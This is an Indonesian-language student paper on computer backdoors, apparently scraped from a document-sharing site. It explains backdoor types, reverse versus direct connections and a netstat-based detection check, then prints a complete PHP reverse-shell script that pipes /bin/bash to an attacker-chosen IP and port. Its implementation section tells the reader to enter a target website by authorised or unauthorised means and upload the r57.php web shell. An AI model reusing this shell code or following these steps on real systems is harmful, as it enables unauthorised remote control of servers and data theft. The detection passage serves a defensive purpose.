Backdoor

download Backdoor

of 6

Transcript of Backdoor

  • BACKDOOR Aang Kurniawan1, Iman Suparman2, Raden Gibrail3, Rizal Mutaqin4, Wahyu Purwana5

    Konsentrasi Teknik Informatika, Program Studi Teknik Informatika

    STMIK LPKIA Jln. Soekarno Hatta No. 456 Bandung 40266, Telp. +62 22 75642823, Fax. +62 22 7564282

    [email protected], [email protected],

    Abstrak Backdoor merupakan jalan belakang untuk menghindari password untuk login. Jalan belakang ini dimungkinkan karena aplikasi atau rootkit yang jalan dikomputer tersebut. Sehingga Backdoor merupakan suatu istilah yang seringkali digunakan untuk masuk ke dalam sistem tanpa sepengetahuan administrator, namun hal tersebut bisa dilakukan jika penyusup pernah masuk kedalam sistem tersebut dengan hak akses root. Pemberian backdoor dilakukan untuk mempermudah mereka memasuki sistem tersebut jika jalan yang telah dibuat dengan eksploit telah ditutup oleh administrator. Sehingga tujuan dari backdoor bukan untuk mendapatkan previlege root, tetapi untuk mendapatkan kembali previlege yang pernah diperoleh. Kata kunci : Backdoor, Login, Administrator 1. Pendahuluan Backdoor pada awalnya dibuat oleh para programer komputer sebagai mekanisme yang mengizinkan mereka untuk memperoleh akses khusus ke dalam program mereka, seringnya digunakan untuk membenarkan dan memperbaiki kode di dalam program yang mereka buat ketika sebuah crash akibat bug terjadi. Salah satu contoh dari pernyataan ini adalah ketika Kenneth Thompson (salah seorang pemrogram sistem operasi UNIX membuat sebuah program proses login pada tahun 1983 ketika memperoleh Turing Award), selain program login umum digunakan dalam sistem operasi UNIX dengan menggunakan bahasa pemrograman C, sehingga ia dapat mengakses sistem UNIX yang berjalan di dalam jaringan internal Bell Labs. Backdoor yang ia ciptakan itu melindungi dirinya dari pendeteksian dan pembuangan dari sistem, meskipun pengguna berhasil menemukannya, karena memang backdoor ini membuat dirinya sendiri kembali (melakukan rekompilasi sendiri). 2. Landasan Teori 2.1. Pengertian Backdoor Backdoor atau "pintu belakang", dalam keamanan sistem komputer merujuk kepada mekanisme yang dapat digunakan untuk mengakses sistem, aplikasi, atau jaringan, selain dari mekanisme yang umum digunakan (melalui proses Logon atau proses autentikasi lainnya). Beberapa pengembang perangkat lunak menambahkan backdoor ke dalam program buatannya untuk tujuan merusak (atau tujuan yang mencurigakan). Sebagai contoh, sebuah backdoor dapat dimasukkan ke dalam kode di dalam sebuah situs belanja online (e-commerce) untuk mengizinkan pengembang tersebut memperoleh

    informasi mengenai transaksi yang terjadi antara pembeli dan penjual, termasuk di antaranya adalah kartu kredit. Istilah backdoor sekarang digunakan oleh hacker-hacker untuk merujuk kepada mekanisme yang mengizinkan seorang peretas sistem dapat mengakses kembali sebuah sistem yang telah diserang sebelumnya tanpa harus mengulangi proses eksploitasi terhadap sistem atau jaringan tersebut, seperti yang ia lakukan pertama kali. Umumnya, setelah sebuah jaringan telah diserang dengan menggunakan exploit (terhadap sebuah kerawanan/vulnerability), seorang penyerang akan menutupi semua jejaknya di dalam sistem yang bersangkutan dengan memodifikasi berkas catatan sistem (log) atau menghapusnya, dan kemudian menginstalasikan sebuah backdoor yang berupa sebuah perangkat lunak khusus atau menambahkan sebuah akun pengguna yang memiliki hak akses sebagai administrator jaringan atau administrator sistem tersebut. Jika kemudian pemilik jaringan atau sistem tersebut menyadari bahwa sistemnya telah diserang, dan kemudian menutup semua kerawanan yang diketahui dalam sistemnya (tapi tidak mendeteksi adanya backdoor yang terinstalasi), penyerang yang sebelumnya masih akan dapat mengakses sistem yang bersangkutan, tanpa ketahuan oleh pemilik jaringan, apalagi setelah dirinya mendaftarkan diri sebagai pengguna yang sah di dalam sistem atau jaringan tersebut. Dengan memiliki hak sebagai administrator jaringan, ia pun dapat melakukan hal yang dapat merusak sistem atau menghilangkan data. Dalam kasus seperti di atas, cara yang umum digunakan adalah dengan melakukan instalasi ulang terhadap sistem atau jaringan, atau dengan

  • melakukan restorasi dari cadangan/backup yang masih bersih dari backdoor. 2.2. Jenis-Jenis Backdoor 1) Web based backdoor misalnya PHP shell, ASP

    shell, CGI shell. 2) Binding backdoor misalnya bindty dan netcat. 3) Sistem service backdoor misalnya OpenSSH

    backdoor, FTP backdoor dll. 4) Kernel level backdoor misalnya loadable kernel

    module dengan beragam tekniknya 5) ETC 2.3. Konsep Kerja Backdoor Sesuai namanya cara kerja backdoor cukup sederhana, yaitu dengan cara membukakan pintu belakang dan yang pasti secara diam-diam, pintunya biasanya berupa port, backdoor akan menanti si pembuat backdoor tersebut datang (menghubunginya). Apabila sang pembuat backdoor datang maka backdoor akan membukakan pintu lalu mempersilahkannya masuk dan melindunginya dari pengawasan keamanan, tentu setelah itu si pembuat backdoor dapat melakukan apa saja yang dia inginkan dengan leluasa. Ada dua bagian backdoor, yaitu client dan server. Client adalah program yang diinstal di komputer target sedangkan server merupakan program yang digunakan attacker dalam mengoperasikan komputer target. Ada dua metode komunikasi antara client dan server yaitu direct connection dan reverse connection. 1) Pada direct connection, server berusaha

    melakukan koneksi ke IP target agar dapat berkomunikasi dengan client. Tapi hal ini lebih mudah diblok oleh program firewall.

    2) Pada reverse connection tidak membutuhkan IP target karena serverlah yang berusaha melakukan koneksi ke IP client (attacker). Ketika attacker menjalankan client dengan koneksi Internet lain, IP pun akan berubah, lalu bagaimana membuat IP client yang bersifat taktis? Untuk mengatasi hal ini, attacker dapat memakai dynamic DNS yang banyak disediakan secara gratis oleh website-website tertentu.

    2.4. Cara Mendeteksi Backdoor Cara manual untuk mendeteksi backdoor adalah melihat port yang terkoneksi dan port yang sedang menunggu koneksi dari luar. Berikut ini langkah-langkah untuk mendeteksi trojan backdoor. Tutup semua program, terutama yang berhubungan dengan koneksi jaringan. Buka dialog Run dengan menggunakan kombinasi tombol Window+R. Isi dengan "CMD" Muncul jendela CMD dan ketikkan "netstat-aon" Hasil perintah netstat akan terlihat sebagai berikut:

    C:\Documents and Settinga\Administrayor>netstat -aon Active ConnectionsProto Local Addresss Foreign Address State PID TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 944 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 TCP 127.0.0.1:1028 0.0.0.0:0 LISTENING 1312 TCP 127.0.0.1:1135 127.0.0.1:3460 SYN.SENT 2328 TCP 192.168.244.131:139 0.0.0.0:0 4 UDP 0.0.0.0:445 *:* 392 UDP 0.0.0.0:500 *:* 1084 UDP 0.0.0.0:1039 *:* 692 UDP 127.0.0.1:123 *:* 1036 UDP 127.0.0.1:1900 *:* 1152 UDP 192.168.244.131:123 *:* 1036 UDP 192.168.244.131:137 *:* 4 UDP 192.168.244.131:138 *:* 4 UDP 192.168.244.131:1900 *:* 1152 C:\Documents and Settings\Administrator> Seperti yang ada di lajur ke empat pada kolom ketiga terdapat isi yang berbeda dari baris lainnya. Pada kolom inilah perhatian akan lebih difokuskan. Transmission Control Protocol atau TCP merupakan bagian protocol yang digunakan untuk mengirim data. Kolom kedua berisi alamat komputer, sedangkan kolom ketiga berisi alamat tujuan packet akan dikirimkan. Dalam kasus ini, contoh tersebut memperlihatkan alamat local 127.0.0.1. Dalam kasus nyata, kolom ini berisi alamat DNS, misalnya yang dibuat melalui NO.IP.com. Sementara, kolom keempat berisi SYN_SENT yang berarti ada program yang sedang menunggu jawaban dari respon luar. Hal ini menandakan server belum terkoneksi ke client. Jika server telah terkoneksi ke client, kolom ini berisi tulisan ESTABLISHED. 3. Studi Kasus Dan Implementasi Backdoor diciptakan pada berbagai bagian dari sistem untuk memudahkan masuk kembali ke sistem itu dengan cara membentuk user account palsu, menjadwalkan batch job, mengubah startup file, menanamkan service pengendali jarak jauh

  • serta moni-toring tool, dan menggantikan aplikasi dengan trojan. Untuk menyusupkan backdoor ke sebuah sistem dapat dilakukan dengan beberapa cara, salah satunya adalah sebagai berikut: 1) Password Database / File Modification,

    2) Reverse Shell. Salah satu teknik yang bisa digunakan untuk membypass firewall dengan full restriction inbound traffic. Kelebihan Reverse Shell : 1) Tidak bisa install program 2) Kemampuan User 3) Tidak bisa patching/modifikasi aplikasi 4) Tidak memberi interactive shell 5) Semua koneksi dari dalam keluar not filtered 6) Backdoor tidak selalu online ! 7) Pengaktifannya bisa melalui backdoor lain di

    web applikasi 8) Minimalisir kecurigaan Tuan Rumah 9) PhpShell, cgi-telnet, remote command

    execution

    Berikut merupakan perbedaan antara menggunakan teknik Reverse Shell dengan yang tidak. 1) Tidak memakai Reverse Shell

    2) Memakai Reverse Shell

  • Contoh dari Reverse Shell (Sumber http://pentestmonkey.net): // Awal Script set_time_limit (0); $VERSION = "1.0"; $ip = $_GET["ip"]; $port = $_GET["port"]; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = '/bin/bash -p -i'; $daemon = 0; $debug = 0; if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits }

    // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } // Spawn shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) {

  • printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send

    // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } }

  • fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { print "$string\n"; } } // Akhir Scripts Untuk implementasinya, disini menggunakan Teknik Reverse Shell jenis PHP Shell r57.php. Adapun langkah-langkahnya adalah sebagai berikut: 1) Masuk ke web target baik dengan cara

    otontikasi resmi maupun tidak resmi.

    2) Upload file php shell ke dalam directory web. Ganti nama r57.php jika diperlukan.

    3) Ketik di browser: http://www.target.com/[path]/r57.php

    4. Kesimpulan 1) Backdoor pada mulanya digunakan oleh

    sebagian programmer sebagai jalan pintas untuk masuk ke sebuah sistem jika terjadi bug atau crash.

    2) Backdoor bukan merupakan teknik penyerangan tetapi lebih kepada metode untuk mempertahankan kekuasaan atas suatu sistem.

    3) Akses mesin tanpa batasan. 5. Daftar Pustaka [1] _______Mengenal Trojan Backdoor dan

    Metode, [Online]. Tersedia: http://www.zan.web.id/2011/09/mengenal-trojan-backdoor-dan-metode.html [09 Januari 2012]

    [2] _______ Backdoor,[Online]. Tersedia: http://id.wikipedia.org/wiki/Backdoor [09 Januari 2012]

    [3] Ahmad Muammar W.K, Backdooring, [Online]. Tersedia: lirva32.org/ammar/pdf/backdooring.pdf [09 Januari 2012]

    [4] _______ X Code Magazine,[ Online]. Tersedia: www.xcode.or.id/magazine.htm [23 April 2006]